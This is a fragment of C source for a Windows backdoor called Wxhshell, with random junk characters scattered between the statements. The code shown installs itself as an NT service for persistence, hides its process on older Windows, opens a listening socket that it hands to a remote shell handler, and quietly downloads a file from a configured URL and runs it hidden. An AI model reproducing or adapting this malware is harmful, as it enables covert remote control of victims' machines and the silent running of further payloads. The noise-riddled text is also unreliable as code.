7> hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :@ %4 if(!hProcess) return 0; wm)#[x # LXEfPLS if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zY|t0H eU<]o<
\Qo CloseHandle(hProcess); '[C.|)" J]&y$?C hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :cq9f2) if(hProcess==NULL) return 0; (xVsDAp=@ 5]HS^II" HMODULE hMod; .a._NW char procName[255]; 9[m6Li unsigned long cbNeeded; %!du,2 F8;dKyT?q if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xER\ZpA:, 4$*%gL;f^ CloseHandle(hProcess); (N&lHLy .Fnwm} if(strstr(procName,"services")) return 1; // 以服务启动 ~$p2#AqX qIY~dQ| return 0; // 注册表启动 [P 06lIO } Td G!&:> X LL/4 ) // 主模块 L
]w/P| int StartWxhshell(LPSTR lpCmdLine) Yc,7tUz# { M-[$L XR SOCKET wsl; :_t}QP" BOOL val=TRUE; DwrO JIy int port=0; \'9PZ6q{ struct sockaddr_in door; ,t`Kv1 |fSe>uVZ if(wscfg.ws_autoins) Install(); ,(;lIP <
V\I~; port=atoi(lpCmdLine); OtGb<v<_H Db6om7N if(port<=0) port=wscfg.ws_port; 7oq[38zB # *TEq WSADATA data; M-;4 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RLSc+kDH_ 7{I h_.# if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; :dLAs@z setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); BM(]QUxRd door.sin_family = AF_INET; `&-Mi[1 door.sin_addr.s_addr = inet_addr("127.0.0.1"); I('Un@hS door.sin_port = htons(port); 8HR mQ (s{RnD if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { jK' N((Hz closesocket(wsl); L~ IhsiB return 1; +QE^\a } 1}tbH[ *X4PM\ck if(listen(wsl,2) == INVALID_SOCKET) { SF5@Vg closesocket(wsl); &NSY9'N, return 1; CYKr\DA } b*FC\:\ Wxhshell(wsl); fwBRWr9 WSACleanup(); _z54Ycr4H fm^@i;D
return 0; r" K':O6y !YP@m~ } 0
s70r aM{xdTYaU // 以NT服务方式启动 v$=QA:!U VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ZvUCI8 { 9JWa$iBH@ DWORD status = 0; Z*])6=2Q DWORD specificError = 0xfffffff; gl]E_%tH +Y
V|ij serviceStatus.dwServiceType = SERVICE_WIN32; y2+p1 serviceStatus.dwCurrentState = SERVICE_START_PENDING; =b[_@zq] serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !wWJ^Oz= serviceStatus.dwWin32ExitCode = 0; .cR
-V`
serviceStatus.dwServiceSpecificExitCode = 0; z.CywME<)t serviceStatus.dwCheckPoint = 0; e#B#B serviceStatus.dwWaitHint = 0; 9{$'S4 d oB hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .-JCwnP if (hServiceStatusHandle==0) return; (?H0+zws^ _$p$") status = GetLastError(); (D
9Su^:1 if (status!=NO_ERROR) ,&d@O>$E: { P1 zdK0TM serviceStatus.dwCurrentState = SERVICE_STOPPED; 2 QNNp:`6 serviceStatus.dwCheckPoint = 0; ;P;((2_X9 serviceStatus.dwWaitHint = 0; ^{\<N()R serviceStatus.dwWin32ExitCode = status; 93<:RV serviceStatus.dwServiceSpecificExitCode = specificError; 6&!&\ SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5"/J^"!h return; ^0#;YOk } .>(Q)"v x)UwV serviceStatus.dwCurrentState = SERVICE_RUNNING; .^bft P\ serviceStatus.dwCheckPoint = 0; vm'5s]kdh serviceStatus.dwWaitHint = 0; >I<r)w] if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'SYo_! } nkv(~ej( e;GU
T: // 处理NT服务事件,比如:启动、停止 CdUAy|!`R VOID WINAPI NTServiceHandler(DWORD fdwControl) _Cw:J|l. { O}[PJfvBHo switch(fdwControl) YUf1N?z { m>}8'N) case SERVICE_CONTROL_STOP: a,Gxm! serviceStatus.dwWin32ExitCode = 0; Fxc)}i` serviceStatus.dwCurrentState = SERVICE_STOPPED; \]9.zlB serviceStatus.dwCheckPoint = 0; X1tXqHJF} serviceStatus.dwWaitHint = 0; -AYA~O(& { 1shBY@mlq SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^>?CMcN4* } ez3Z3t` return; 3jogD case SERVICE_CONTROL_PAUSE: =&dW(uyzY serviceStatus.dwCurrentState = SERVICE_PAUSED; J4=_w break; 0Y]0!} case SERVICE_CONTROL_CONTINUE: &ff&Y.q~ serviceStatus.dwCurrentState = SERVICE_RUNNING; # tdf>? break; "7d-z<^n case SERVICE_CONTROL_INTERROGATE: #&8}<8V break; ,uz ]V1 }; 8wH.et25k SetServiceStatus(hServiceStatusHandle, &serviceStatus); -;;Z 'NM;8 } %g]vxm5? '<iK*[NW // 标准应用程序主函数 INSkgOo int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) CnN9!~]" { Q>qFM9Z 6+K_ Z\ // 获取操作系统版本 !}M, OsIsNt=GetOsVer(); QO{y/{ GetModuleFileName(NULL,ExeFile,MAX_PATH); "tS'b+SJ-S W2-=U@ // 从命令行安装 V2|3i}V" if(strpbrk(lpCmdLine,"iI")) Install(); XH7xT@ f DgD@YC D // 下载执行文件 >yJ-4lgZ if(wscfg.ws_downexe) { l]2r)!Q7 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) lo&#(L+2 WinExec(wscfg.ws_filenam,SW_HIDE); EA<}[4#jS } VyG4(Xva 17g^ALs if(!OsIsNt) { c:M$m3Cs? // 如果时win9x,隐藏进程并且设置为注册表启动 SKY*.IW/Z HideProc(); %qsvtc` StartWxhshell(lpCmdLine); io4A>>W==/ } %bb~Y" else ^a9 oKI9n if(StartFromService()) ]"fsW 9s // 以服务方式启动 S(eQ{rSs StartServiceCtrlDispatcher(DispatchTable); s]B"qFA else !$XHQLqF2 // 普通方式启动 &[|VZ[ StartWxhshell(lpCmdLine); K%KZO`gO 7_KhV return 0; 1ywU@].6J] }
|